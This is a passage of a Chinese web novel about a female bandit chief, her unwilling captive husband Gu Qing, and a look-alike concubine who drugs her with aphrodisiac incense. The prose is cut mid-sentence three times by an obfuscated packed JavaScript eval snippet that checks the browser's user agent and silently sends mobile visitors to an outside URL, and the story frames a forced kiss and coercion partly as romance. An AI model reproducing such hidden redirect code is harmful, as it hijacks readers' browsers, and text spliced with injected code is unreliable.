老念一脸疲惫地瘫坐在椅子上,她年纪有些大,通宵盯着人多少有些吃力,然而她抬头看了眼柳锐,顿时有些意外:“大当家,你眼下怎么也一片灰,难不成是昨夜没睡好?” “别提了,被他给气的睡不着。”柳锐一想起来就要叹口气,自顾自坐下皱眉,她甚至不需要说这个他是谁,老念都能瞬间明白她在抱怨什么。 “我对他也不差,他不给我好脸色也就算了,竟然帮着个素未谋面的人和我作对,昨晚我强吻他一口,他跟见鬼似的避开我,那个眼神就像是恨不得杀死我,抗拒我抗拒的不得了。” 老念是过来人,在有些事上的阅历与理解,自然比柳锐要深不少,见她十分疑惑,轻声一笑宽解:“大当家,他毕竟是你从薛良那里抢来的,这才没几天,你就要他放下原本的妻主转而完全接受你,和你有肌肤之亲,这怎么可能呢?山底下的人可不像咱们寨子里这般开明不拘小节,他们看重为妻主守身,你的美人一看就是出身书香门第,他们那种人家,最讲究这些的。” 此话倒有理,柳锐若有所思地抿一口茶,有些不满:“薛良又贪又怂,遇上抢劫连自己夫郎都忘带走,这样的人竟也值得他守。” “不论般配与否,你强行介入他人生,若要他接受,也只能给予更多的耐心,就像你说你昨夜强吻了他,这件事便是做错了,强迫是使不得的,山底下的男子们最讨厌强迫了,你这样对他,他只会更厌恶你。”老念说得头头是道,见柳锐听得极为认真,忽而有些复杂起来,到嘴的话也说不出口。 “好好的怎么不说了?按照你的说法,接下来我该做什么,才能让他不厌恶?” 柳锐没有意识到老念的不对劲,抬起头问她。 “先…为昨日强迫他的事服个软,送点什么他稀罕的玩意示好?”老念一辈子没成婚,说起这种事也是带些不确定,但柳锐很信她,起身离开时还拍拍她的肩膀:“不愧是我们龙头寨最聪明的女人,回头我请你喝酒。” 老念欲言又止,只能看着柳锐离开,不多时,包子拎着两个酒罐进屋,一脸纳闷:“念姐,你怎么满面愁容?” “大当家虽然嘴上不说,但我总觉得她隐约对她的小美人动了两分真心,可那夫郎却还不爱她,我担心大当家来日情路坎坷,却又不知道该如何帮她。” 包子也渐渐皱了眉,看看手上的酒,又看看远去的柳锐,不解道:“感情这种事,不是上了床睡一回,生米煮成熟饭就行了么,接着这么一回生二回熟,彼此就好上了。” 听见这种糙话,老念的气叹得一口接一口。 “在感情这事上,你比大当家更像个山匪。” 老念说要送些东西示好,柳锐倒真是照做了,有了被砸玉镯,以及教他习武他睡觉的经历,柳锐这一次开始学着投其所好,她见过顾清专心致志看书的样子,于是便把自己私库里所有的书本都翻了出来,这些书大多是柳锐打劫贪官富商时得到的,里头不乏早已不流传的孤本或是名家之作。 左右她是不识字的,倒不如全送给顾清。 装满了各类书籍的木匣比寻常箱子重太多,旁人搬不起来,柳锐索性自己搬了回去,彼时刚好是傍晚,冬日的天黑得早,屋里已经点上了灯,今日点的蜡烛尤其多,满屋摇曳,让柳锐觉得有些刺眼。 柳锐放下箱子扫视一圈,发现昨晚消失的顾清今日回来了,他背对着她坐在床边,身上穿着初见时那身青色的衣裳,一头如绸缎般美丽的长发披散着,姿态好看,看起来情绪平静。 想起昨夜的事情,柳锐和他说话的语气都难得和缓几分:“回头叫底下人熄两盏,我不喜欢这么亮…算了,你不是喜欢看书么,看书还是亮堂些好。” 顾清没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319267|167401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回答她,只是整个人顿了一下,随后缓缓垂头,柳锐以为他还在介意她昨日强迫他的事,轻啧一身,坐在椅子上一脚踢开木匣的盖子。 “我给你找来不少书,什么种类的都有,老念以前看过,说里头不少都很珍贵,要我送她,我没同意,现在这些书都归你,怎么样,现在你可有兴趣了?” 然而顾清还是没有说话,只是动作极轻地点了点头。 这一个点头让柳锐陡然间生出一种莫名的诡异,不过她没太在意,压下这种奇怪的感觉语重心长和他聊起来。 “我知道你可能还对我心有不满,但这不能成为你帮着柳峰和我作对的理由,她为人阴险奸诈,你跟她有一点点的沾边,都可能被吃的骨头也不剩,这种事不能再发生第二次了,明白吗?” 良久,顾清还是点了点头。 柳锐就当这算是和解,从袖子里拿出一盒药,走到床边递过去:“擦一擦吧,昨天我不是咬你了么,这个药可以止痛消肿。” 到了这一步,顾清才缓缓回过头,然而这一回头却叫柳锐神色一冷,迅速后退:“你是谁?这么堂而皇之地穿着我夫郎的衣服坐在这,不怕死么,我夫郎呢,你把他怎么了?” 原来这面前人根本不是顾清,而是一个她从没见过的陌生男子,这男子相貌也算好看,仔细一看与顾清也有两分相似,他见柳锐生气,忙不迭跪下,腰肢像柔软无骨似的往柳锐腿边一贴,满脸无辜:“大当家,奴是老寨主给您挑来的人,今夜由奴来伺候您。” “阿娘派来的?那你打哪来回哪去,我不需要旁人伺候,你不知道我刚娶夫么,我这辈子都没有纳小侍的打算,滚出去。” 柳锐烦躁地把腿挪开,只为了不让这个男人贴上,然而这男人竟不肯罢休,像蛇一样缠上来,伸手抱住柳锐的腿:“大当家,就让奴来伺候吧,奴很早以前就倾慕于您了,奴给您生女育儿开枝散叶…” “咳咳…你给我住嘴!” 这人身上有股浓重的香味,香得柳锐呛得咳嗽一声,这种香味顾清身上也有,却是香味清浅适宜的,想到他身上穿着顾清的衣服,容貌与顾清有两分像,香味也一样,甚至刚刚坐在那一举一动都和顾清有几分相似,柳锐突然明白了这是怎么回事。 “是阿娘叫你来当顾清的替身的?” 柳锐压抑着怒火沉声问道。 “不,不是…奴确实是老寨主那伺候的人,但却是顾夫郎把奴挑出来的,老寨主听说夫郎帮峰姐儿不帮您的事了,她知晓您和夫郎感情不好,又不希望您不开心,就做主给你纳个像顾夫郎的侧夫,顾夫郎同意了,他挑奴出来,又借奴衣裳,又教奴礼仪,只为让奴能伺候好您。” 竟然敢往她床上送人,不,不是人,是替身。 柳锐满目寒光,一个回眸,这才瞥见顾清本人。 顾清正穿着一身素衣站在门口,见到她发现他,他眸子颤动瞬,下一刻“轰!”一声关上门,咔哒一下将门牢牢锁上,将她和另一个男子锁在屋里,随后有些紧张地背靠在门上,像是生怕柳锐逃出来。 “你不是想要’顾清’么,我给你一个,别再抓着我不放了,你跟他好好过吧。” 8. 第八章 听听他说的是什么,给她一个“顾清”。 在他眼里,柳锐就是个只认皮相的蠢货,再找个几分姿色的人还真就能把她打发了! 柳锐脸色阴沉得能滴水,顾清的替身像是铁了心要爬她的床,黏着她的腿,整个人顺势而上牢牢贴住,像块狗皮膏药,柳锐动作强硬地将他从自己腿上掰开,边冷冷看向门外,她猜顾清还没有走。 “顾清,你要是不想死,就赶紧给我开门。” 门外那道背影一动不动,柳锐眼中浮现出一丝杀意:“你真以为这门能关得住我?我出来第一个就是找你算账。” 然而威胁并没有起效,门外很快响起渐行渐远的脚步声,顾清像是逃离猛兽的囚笼一般逃离了这间屋子,柳锐瞬间被气得一笑。 好一个顾清,你完蛋了,看来昨晚还是太心软,让他没吃够教训。 柳锐啊,你瞧瞧你想驯服的人,如今都要骑到你的头上,做主给你塞小侍了。 柳锐神色晦暗不明地站在原地,落在那替身眼里,便是她被顾清伤了心,正是脆弱要人哄的时候,于是他眼珠子一转,柔声道:“大当家,您别管外头了,您看看奴吧。” 闻言,柳锐懒懒低下头,看见他一副楚楚可怜的神情对着她。 “奴晓得您心里看重顾夫郎,奴也自知比不过哪般漂亮的美人,可是大当家的,您看他对您的态度,他帮着柳峰对付您,听说要给您纳侧夫也是很快同意,顾夫郎他根本就不在意您,强扭的瓜吃着不香,您倒不如要了奴,就把奴当作是另一个顾夫郎,奴一定乖巧听话,全心全意伺候您。” 他说话时语气温柔似水,然而柳锐却是不起波澜,看着他有些讥讽地扬唇,提醒道:“他对我如何,用得着你来提醒?我要便要正主,就算是要不到,也绝不是一个替身代替就能敷衍迷惑的,他不在意我,难不成你就在意我了?你甘愿当替身都要做我侧夫,图的是什么?不过就是想要我给的荣华富贵罢了。” 这话一下子戳中男人的嗓子眼,让他心虚得移开目光,他图的确实就是这个,试问山寨里哪个男子没有幻想过嫁给她做夫郎,大当家生得极其好看,还有数不清的钱财,简直就是人人垂涎的金饽饽。 得知老寨主要把他赐给柳锐,他便下定决心要把握住机会,什么脸面尊严,他都可以抛之脑后,他脑子里只有一个念头——今晚必须要成为大当家的侧夫,过人上人的日子。 见他支支吾吾说不出话,柳锐也懒得理,一把将他推开,活动着筋骨独自走到门边。 “您该不会是想破门而出吧?您…您出不去的。” “闭嘴,你小瞧我?” 柳锐有些嫌他烦,只是她刚皱眉显示出不耐,她的身体里却倏尔涌上一股异样的感觉…. “砰。” 是什么重物撞向门发出的声响,刚走到楼下的顾清瞬间心跳一滞,屏住呼吸起身,小心翼翼抬头,往上方望去。 那声响动似乎是个小插曲,屋子里静悄悄的,再无其它声音。 “是我多虑了。”顾清松乏下来,有些疲惫地坐到台阶上缓口气,他起初还有些担心那替身拿降不住柳锐,然而这人却跟他保证,说只要给他机会,他就一定能拿下大当家,他有独门秘技,哪个女子都招架不住,见他那样信誓旦旦,顾清便也不再多问,只管将柳锐丢给他。 为了调教出一个“顾清”,他今天费不少力气,比他在家时学习男红和读书写字要累得多,可柳锐竟然还威胁他,说要找他算账,真是不知好歹,她不就是垂涎那份的美色么,他都已经做出让步,给她找来一个替代品纳为侧夫,让“顾清”可以永远陪伴她,她还有什么不知足的。 夜色如水,顾清看着满院月色,倏尔想起母亲告诉过他的一件事:“豪门望族间,纳侧夫小侍是必不可免,来日你嫁作人夫,切记不可嫉妒怨恨,而是要监督他们为妻主开枝散叶,与他们相处融洽,和他们一起服侍妻主,这才能彰显我顾家风范。” 提起那“彰显顾家风范”的未来,顾清勉强打起精神,自月光下起身离开,再未往楼上看过一眼。 —— 眼前一片模糊,手脚逐渐发热,这种热像是滚烫的沸水自血管间向上涌,热得她呼吸不畅,她吃力地伸手扶门站起身,那替身便已忙不迭上来想要扶她。 “大当家的,奴伺候您歇息吧,就一晚,一晚好不好?” 他又像无骨的蛇一般缠上来,柳锐已然察觉到不对,只管开门见山,死死盯着他:“我这是怎么了,是你,还是顾清的伎俩。” 这替身只一脸撩拨的神情,并不说话,柳锐上下扫他一眼,猛然想到他身上浓烈的香味,这味道确实和顾清身上的味道一样,然而却要浓烈十倍,内里若是暗藏着什么别的香料,她也很难清晰分辨出,恐怕是他在香料里做了手脚,她凑近闻到他香味时,便算是中计了。 进山寨当土匪的人各色各样,在这种事上用的下流路子,柳锐也不是没见过,只回忆片刻,她便冷声道:“是迷情香,你敢把它用在我身上,看来是活得不耐烦了。” 迷情香,常被青楼里的男子们用来迷惑客人,若是没有提前服下解药,那只要闻此香气,便会情动难忍,为眼前人所着迷,无法自控。 这男人自然知道柳锐会恼怒,但他是抱着破釜沉舟的心来的,不成功便成仁,享受不到荣华富贵,那他不如去死。 “奴只是想伺候大当家,您就由奴伺候一晚,可好?” 说话间,他鼓起勇气,别有意图地朝柳锐伸出双手,一点点,一点点触向她的衣衫。 迷情香又怎么了,生气又怎样,只要待会能把柳锐伺候得开心,这些她肯定都会不计较,他也一定会使出浑身解数勾住大当家的心,莫说是替身,没准日子长了,柳锐会高看他一眼,更宠爱他也说不准。 “痴心妄想。” 冷不丁一句话,将那男人的美梦击碎。 行动有些迟钝地柳锐缓缓转头看向他,面无表情地一字一句道:“你下辈子也没机会。” 替身一愣,还未开口,却见一道掌风劈上他肩头,他瞬间像滩烂泥般一骨碌倒下,两眼翻白,没了意识。 柳锐皱着眉将他角落里踢了踢,随后方脱力跌坐在地上,几个动作便让她的额上布满细密的汗珠,汗水顺着脸颊滴落,缓慢地落在地上,那声音让她觉得如今的一分一秒都难熬。 凭心而论,她并不是一个喜欢克制自己欲望的人,她想要什么,通通都要立刻得到,然而这回却是不一样,她是被人强迫着吸入迷情香的,她柳锐是个硬骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319268|167401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,谁都不能强迫她做事,她宁愿违背自己身体的意愿,也不会屈服于别人的逼迫。 有那么短短一瞬间,她忽而有点理解顾清对她的所作所为,别看他是个柔弱的美人,但遭人强迫时做出的反应和她柳锐一样,她和他,或许内里有着相似的东西。 她不正是被他大胆的反抗所吸引的么? 但他这次,似乎有些太过胆大了。 —— 月亮渐渐隐于云后,天边泛起鱼肚白。 顾清这夜睡得并不安稳,他起的很早,回来时看见二楼仍是静悄悄,便猜昨晚柳锐终究是接纳了那个替身,没有再反抗,而是安心享受那一份美色,毕竟她那个性子,若是真不接受那侧夫,早就该闹翻天了,怎会平静一夜。 那替身倒是有几分厉害,同他保证会拿下柳锐,竟然还真就没有出错,至于具体是用了什么样的办法,顾清懒得去了解,他只在乎结果,并不关注柳锐是如何为替身所迷的。 山间的清晨空气潮湿寒凉,顾清没打算干扰二人的好梦,只是悄然解下那把锁收好,他刚要离开,回头便迎面碰上正要来找柳锐的老念。 “起的这样早,大当家送你的书籍都收到了么。” 知道柳锐对顾清是什么态度,因此老念对他也有几分客气,见面便打个招呼。 顾清对山匪们没什么好感,神色冷清,但出于礼貌,还是微微摇了摇头。 “没有收到?不应该啊,大当家昨日忙了个下午,说要找些东西送给你,还是我给她的建议呢,那些书,我想要她都给,你还没开口问,她便全给你找了出来,她的性子就是这样,看重一个人的时候,什么好东西都给的慷慨,恨一个人的时候,便叫对方生不如死,她浓烈得像酒一样。” 老念笑着与顾清搭话,可顾清对关于柳锐的任何事都不甚在意,一副兴致缺缺的模样,待他听完老念的唠叨后刚准备走,她却又叫住他。 “大当家醒了么,我有事找她。” “她…大约没有醒,你最好不要打扰她。” 顾清犹豫着没有说出实情,然而老念并未完全察觉到他语气里那丝不对劲,只是皱眉:“大当家从小就爱睡懒觉,只是现在有要事在身,怎么还能这般睡,柳峰都醒了,还等着她审问呢。” “等一下…” 她嘟囔间就快步朝房门走去,顾清见她阻拦不得,又担心自己会见到什么过于旖旎的画面,只好蹙眉背过身贴着墙站,谁知老念走进去后突然惊呼一声:“大当家,你怎么了!” 一声呼喊惊起林间无数鸟雀。 顾清心里涌过一丝不对劲,他犹豫着转身走近,一眼望向房中。 入目的场景简直叫他愣住。 只见那信誓旦旦保证拿下柳锐的男人倒在地上一动不动,而柳锐衣衫整齐地躺在床上,她面色惨白如纸,双眼紧闭,嘴角一片骇人的血迹,那血顺着她的面部滴落在床上,蔓延出一片不小的暗红。 兴许是没想到事情会超出他的预料,顾清面色一变,有些无措地往后退一步。 老念焦急地把柳锐扶起来,颤抖着将手指探到柳锐的鼻间,片刻后,她面色一变,扯着嗓子对屋外大喊。 “快点来人——!” “大当家的不行了——!” 9. 第九章 不一会儿,柳锐的床边乌泱泱挤满一堆山匪,老念和包子一人一边,紧紧握着柳锐的手,可柳锐也没有一点转醒的迹象,气若游丝,一脸行将就木的样子,包子在边上急红了脸,而老念却理智些,二话不说将地上那个昏迷的男人喊醒审问。 “说,你怎么会和大当家在同一间房里,为什么你只是昏过去,大当家却是吐血受了重伤!” 替身被一盆凉水浇了个哆嗦,畏畏缩缩跪在床边,满脸委屈:“奴原在老寨主那伺候,被顾夫郎送来给大当家做小侍,大当家不肯,打昏了奴,至于她自己怎么会吐血,奴真不知道!” 提到顾夫郎三个字,一众山匪的目光都若有似无落在顾清的身上,顾清不喜被那么多山匪直视,蹙眉侧过脸避开,轻声解释:“我也只是帮柳锐调教一个侧夫陪她过夜,她为何吐血,我不知情。” 老念皱了皱眉,语气颇冷:“你俩人中必有谁隐瞒了什么,柳锐不可能平白无故受伤,你们要为此担责,伤害大当家,在寨子里是天大的死罪,若现在速速招来,没准还能活命。” 听到“死罪”二字,顾清下意识捏紧了衣角,因为他从老念的眼睛里看到了真正的杀意,不止是老念,当她说出死罪时,所有在场的山匪都纷纷抬起头,眼里阴狠的杀意像一把把即将出鞘的刀,刀刃对着他和那替身。 那小替身早已吓白了脸,山寨里的杀人酷刑他可是见过的,他慌慌张张转了下眼珠子,随即坦白道:“回念姐的话,奴…昨夜曾为了让大当家玩得开心,用了点迷情香…” 迷情香,在场的山匪们都知道这是什么,不少人别过头去尴尬地咳两声,然而顾清没有听过这个名字,面色疑惑,心里隐隐有些不详的预感。 “现在是说这闺房之事的时候么!”老念带着怒气呵斥道。 替身自知给柳锐用迷情香的事是逃不过罚的,但大当家昏迷不醒,事情的青红皂白全凭他一张嘴,想明白此事,替身立刻恶狠狠瞪向顾清: “是顾夫郎要奴用迷情香的,他告诉奴,他不想伺候大当家,让奴无论如何都要成功和大当家同房,做她的小侍帮他伺候,否则就要奴死!迷情香发挥作用时,要么进行那种事得以缓解,要么就要服用些解药,大当家不肯与奴同房,想要出去用解药,谁知…谁知顾夫郎又把门锁上了!” 此话一出,周遭一片寂静,所有人的视线聚焦在顾清身上,他面色一变,立刻皱眉辩解道:“我没有。” 替身泪眼汪汪,顾清从没遇过别人泼脏水的事,神色渐冷,迎面反驳:“我根本就不知道什么迷情香,你只说你一定会拿下她,我若知道你会用这样肮脏的手段,我一定不会…” 若他真的知情,他就一定不会把门锁上么?顾清自己愣怔了瞬,只这一瞬的停顿,就被替身抓住机会:“别狡辩,你对大当家的态度,寨子里有目共睹,奴是你找来的,也是你调教的,门都是你锁的,桩桩件件都抵赖不得,念姐儿,若要找人给大当家陪葬,一定得找他,求求您,给奴条活路吧!” 顾清一时有些词穷,他确实做了这些事,可他这回真没有想要害她的心思,他也根本没让人用过迷情香这肮脏的东西,但如今每一件事竟然都有他的推波助澜,他竟然找不到辩解的说辞了。 辩解不出来的下场恐怕真是死路一条,顾清怀着些许担忧看一眼床上的柳锐,他虽然巴不得柳锐死,但此刻柳锐若是真死了,他恐怕也要死得极惨,甚至在她前头断气。 果不其然,包子第一个坐不住,放下柳锐的手风风火火起身,拔刀朝他走来。 “大当家喜欢你,你不识抬举也就罢了,还强迫她和别的男人在一起,你要把她逼死!她舍不得杀你,我舍得!我现在就提刀砍了你!” 顾清眸子一紧,踉跄着往后退,就在那带着淡淡血腥味的刀刃即将触到他鼻尖时,老念突然挑了下眉,开口道:“停下!二当家你冷静些,大当家没断气,你现在就砍她夫郎,万一她醒过来,如何给她一个交代!” “郎中,郎中来了!” 包子的手这才一顿,气呼呼撇下刀离开,山寨里的只有一个年纪大些的老郎中,她住的远,跑得也比别人慢,慌里慌张挤进人群里,老念招呼了她靠前,附在她耳边悄声说了点什么,老郎中面上闪过丝诧异,随后点点头,来到柳锐床前细细把脉,片刻后才缓缓开口。 “大当家的不会死。” 房间里一下子传出此起彼伏的舒气声,就连顾清也感到心里一块大石头终于落地,他扶着墙松口气,恍然发觉自己手心全是汗。 “但是。”老郎中话锋一转,叹口气道:“大当家伤得很重,她硬是与身体对着干,迷情香里的药材性热,这热在她五脏六腑里没散出去,伤身又伤根本,她需要有人片刻不离身的精细照料,每日按时服药,否则会落下病根!” “这简单,我来照顾!我们几个姐妹轮流照顾大当家,比什么下人都好使!” 包子的话几乎是脱口而出,谁知下一刻老念便啧一声道:“照料要精细,你们都是干杀人的粗活的,能照顾的好大当家么!”说话间,她看向顾清,沉声道:“顾夫郎,大当家受伤这事,你死罪可免,活罪难逃,现在你只有两个选择,一,受一顿杖刑,发配进寨子的水牢关到大当家醒来为止,二,将功折罪,寸步不离照顾大当家,为她煎药断水,她若身体康复,你才可免除惩罚。” 贴身照顾人,这不是下人才会做的事情么,他一个从小养尊处优的公子如何会这个,可他现在没得选,抵赖不得,推脱不掉。 真是越想摆脱什么,反而还甩不掉了。 顾清垂眸,尽量不让人看见他眼底的羞耻与无奈,抿唇沉默片刻,哑声道:“…我照顾她。” “他爹的,念姐儿,他害的大当家躺这,怎么还能是他照顾呢!怎么就不能是我们,你不要小瞧我们啊,我们也是能做细活的…”包子颇为不满,满脸不爽地看向老念,老念默默翻了个白眼,松开柳锐的手站起身赶人。 “都出去,让大当家好生歇息。” 山匪们这才三三两两地离开房间,包子还要磨蹭,被老念一把抓住带了出去,直到走出院子老远,包子才皱着眉反问。 “念姐,你这是啥意思,让他照顾大当家,大当家的身体还能好?” “我也不想让他照顾大当家,不过…”老念笑了笑,凑近她低声说。 “大当家从一开始就在不停捏我手了,我总得顺着她的意思走吧。” —— “这药,早中午分次煎好,让大当家服下,她伤没好之前,不能让她生气,这样不利于康复,总之,大当家就拜托您了。” 郎中备好药单子,才拎着药箱出门,房间里就只剩下顾清与昏睡中的柳锐,他一眼扫过那药单子上繁复的煎药过程,有些伤神地以指尖轻按太阳穴,正在他为着照顾柳锐闷闷不乐时,柳锐终于微颤几下睫毛,缓缓睁开双眼。 顾清听到轻微的动静,冷冷抬眸看她一眼,没好气道:“醒了。” 柳锐侧目看看他,眼底飞速闪过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319269|167401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝得逞的骄傲,一脸疲倦又虚弱的神情:“我怎么了。” “你差点死了,郎中说你被迷情香伤了五脏六腑,要养一段时间。” 虽然态度依旧不算好,但顾清到底是有问必答,柳锐颇为舒心地给自己掖了下被子,语气遗憾:“真是可惜,有段时日不能打劫了,只是我现在身体不适成这样,恐怕连基本的生活自理都很难…” “我来做,你满意了?” 顾清强忍心中的羞耻和厌烦,皱着眉回答,柳锐倒确实满意,云淡风轻地点下头。 与她待在一处,并没有什么想讲的东西,顾清见她现下没什么要他做的,便借着要去煎药的理由直接出了门,留她一个人休息,他一走,柳锐便迅速从床上爬起来,慵懒地伸了个懒腰,悄然推窗看眼楼下的场景。 只见顾清一脸不悦地下了楼,坐在院中冲着药单发呆,好半晌才开始手法生疏地清洗药材,他好看的脸蛋上沾了些许灰,笨拙的动作和难为情的神情让柳锐莫名觉得,他这样还挺可爱的。 “这教训你就受着吧,看你以后还敢胆子这么大了。” 柳锐转头躺回床上,也不知过了几个时辰,顾清才再次回来,将碗放在她床边:“吃药。” 褐色的液体冒着热气,看起来勉强能喝,柳锐悠悠坐起身,刚准备喝药,却听见门外响起一阵脚步声。 “大当家的,你醒了吗?” 来人是包子手底下一个山匪,柳锐颔首,刻意轻咳几声,才缓缓说:“醒了,何事?” “您醒了就好,二当家说,参与这件事的两个男人都该死,顾夫郎将功折罪了,但另一位没有处置,我把他给您带来了,随时听候您发落。” 她话一说完,门口就响起有人不停磕头的声音,是那男人跪在地上,哭得嗓子都哑了。 “大当家的,奴罪该万死,留奴一条命吧,让奴做个小厮在您身边伺候着也好,顾夫郎能照料您,奴也能,奴陪着夫郎一起照顾您直到病愈,奴为您做牛做马也心甘情愿,求您别杀了奴…” 柳锐心中不起一丝波澜:“杖刑,打完丢出去,让寨子里所有男人看着他受刑。” “遵命!” 男人哭嚎的声音被拖拽着越行越远,顾清沉默了片刻,才忍不住问出他一直想问的问题:“你到底不喜欢他哪里,他长相尚可,我调教了一整日,让他行为举止都像我一般,可你为什么就是不接受,服了药都不肯碰他?” 柳锐看他一眼,轻飘飘道:“我不要像你,我就要你。” “那是一辈子都不可能的,我们说好了,只有三个月。”顾清神情极冷。 “若真是不能,那就不能呗,只不过,就算成不了,我也不要个仿制品做代替,还有,我这一生只打算娶一个夫郎,你要是擅自替我做主,给我再纳一次侧夫,我就杀了你。” 她声音很小,但语气却是认真的,顾清听着反感,却也不好辩驳,只好小声说:“贪图美色之人,却硬要做出忠贞不渝的架子来,虚伪。” 柳锐装没听见,心里却暗暗为着这话不爽,顾清不管这些,只将药碗往她面前挪了挪,淡淡催促一句:“快点喝,不喝药病情加重,可就不是我的错了。” 散发着苦味的药让柳锐有点不想喝,只是此刻她突然想到什么,眼中闪过一点狡黠,垂下头止不住地咳嗽,随后无力地靠在床板上哀声叹气。 “不行啊,我现在浑身不舒服,你看,我连手都抬不起来了。” “我喝不了药,你得喂我。” 10. 第十章 顾清本就是一脸疲惫,听到她的话,心底下意识涌起一股厌烦,瞬间蹙眉拒绝。 “不行,你不要得寸进尺。” 给她煎药端碗,他也就认了,可怎么还得亲手喂她喝药呢,能让顾家公子喂两口药的人,到目前也只有生病时的顾太师,那可是他尊贵威严的母亲,柳锐又是什么人,怎么能和他母亲比? 柳锐瞄一眼他脸上的神情,理直气壮又面不改色:“这怎么能叫得寸进尺,我可是差点就要死的人,身体正虚着呢,手上没力气再正常不过,外面那些重病的病人,哪个不是由人伺候着喂药喝下去的。” 顾清知道她说的有理,脸色便也愈发难看,他不知道该如何回怼,只幽幽盯着她看,抿唇不语,柳锐看出他心里不乐意,缩在被子里若有似无地轻嗤一声,言语敲打他道:“你可别忘了,要不是你非要把他找来,又硬要锁门,我可不会受伤,你要是不肯喂,我就不喝了,我不喝药,伤好不了,老念和包子知道了的话…” “够了!你少威胁我,我都要听腻了。”顾清有些生气地制止她,大概是意识到自己不能和病人吵架,他深呼吸几口气,把到嘴的愤怒给咽回去,随后冷下脸坐床边,低垂着头轻声说:“坐起身,我喂你喝。” 不管如何,这结果倒很合柳锐的心意,她挑了个松软的枕头放在背后,神态悠悠地看着顾清的一举一动,他伸手去端药时,袖子下露出的那一小截手腕白皙如玉,顺着手腕移目,便是一双漂亮的手,指节纤细,指尖是藕粉色。 山寨里的山匪们无人有这样的手,因此柳锐的目光便在他指尖多停留会,忽而问他:“你指腹怎么了?” 他右手食指的指腹上有一处鲜红的血泡,顾清发觉她在看自己的手,下意识感到厌烦,语气淡淡:“刚刚碰到药罐时烫的。” “疼么。” “你少管我,问些不痛不痒的东西有什么意义。” 柳锐将目光收回来:“药还烫着,我不想喝,你把它放下吧。”她担心自己说得还不够清楚,片刻后又多加一句:“兴许等它不烫的时候,我手上的力气也恢复不少了,用不着你喂,你敷完药就去休息吧。” 听到不用他喂药,顾清明显松口气,有些不确定道:“真的?” “当然是真的。”柳锐有些恹恹地躺下身,枕着枕头侧卧背对着他,片刻后才又嘱咐道:“床头矮柜里有药膏,你拿去涂在手指上。” 身后一点动静也没有,柳锐转过头,才发现顾清早在她说完话后就立刻放下药碗走了,都没多停留。 柳锐瞬间不悦,一手端碗将药一饮而尽。 难喝死了,苦的要命。 “…懒得管你,反正血泡也不是长在我手上。” 顾清这一走,房间里便全然寂静无声,柳锐闲得无聊,翻出来把刀在手上玩了会,玩得正起劲的时候,房门外陡然传来一阵急促的脚步声,柳锐迅速收好刀,一头倒在枕头上紧紧闭眼,看起来已是酣然入睡的模样。 那人进了屋站了好一会,才匆匆走到柳锐床前,毫无顾忌地摇摇她肩膀。 “大当家的,是我,你别装睡了,我早知道你通过运气把劣质迷情香的余度排出体外了,那一口带毒的血吐出来,你身体现在啥毛病都没有。” 包子的声音在耳边响起,柳锐这才睁开眼睛,笑了一声:“老念告诉你了。” “那可不,你可差点把她吓坏了,她说她看见你满嘴血的倒在那,心都凉一半。”包子盘腿坐她床边,指了指自己:“你把我也吓个够呛,下次可不许这么来了,你想唬你那小美人,可别把我们也带上,寨子里多少人靠着你养活呢,听见你出事,一个个魂都没了。” “这可不是什么一招鲜吃遍天,哪还会有下次。”柳锐活动活动酸乏的脖颈,问她:“你来找我,为的什么事?” “是念姐要我来找你的,还是那件事,柳峰醒了,老念把她捆进了地窖,但她什么都不肯说,我们也不敢对她动刑,就等着你呢。” “你稍等。” 话毕,柳锐起身下床,轻手轻脚推窗往外看。 屋外的阳光尚好,并不算太冷,顾清头一次做煎药这样繁琐的事,现下是真的累了,趴在院里的石桌上小睡,睡颜恬静,没有看向柳锐时的冰冷厌恶,其实柳锐的房间里也有供人小憩的躺椅,然而他现在只要有的选,就不肯和她共处一室,宁可独自坐外头休息。 不过他睡着时的模样恬静又美好,没有面对柳锐时的冰冷和厌恶,柳锐看了一会,最终合上窗,转头道:“别惊着他了,我们走暗道。” 包子闻言点点头,将她墙角和人一般高的木柜推开,墙后瞬时出现一道暗门,这门里只有一条垂向地面的麻绳,地底有个黑黢黢的小洞,不算大,只允许一人通过。 柳锐和包子轻车熟路地抓着麻绳一跃而下,一前一后跨入洞穴里,走了没多久,两边的石壁上便出现了火苗微弱的烛灯,由铁栏杆圈起的一牢笼逐渐显露出来,像地底的凶兽,铁栏杆上挂着不少瘆人的刑具,洞里弥漫着发霉与血腥的味道,淡似烟雾,挥之不去。 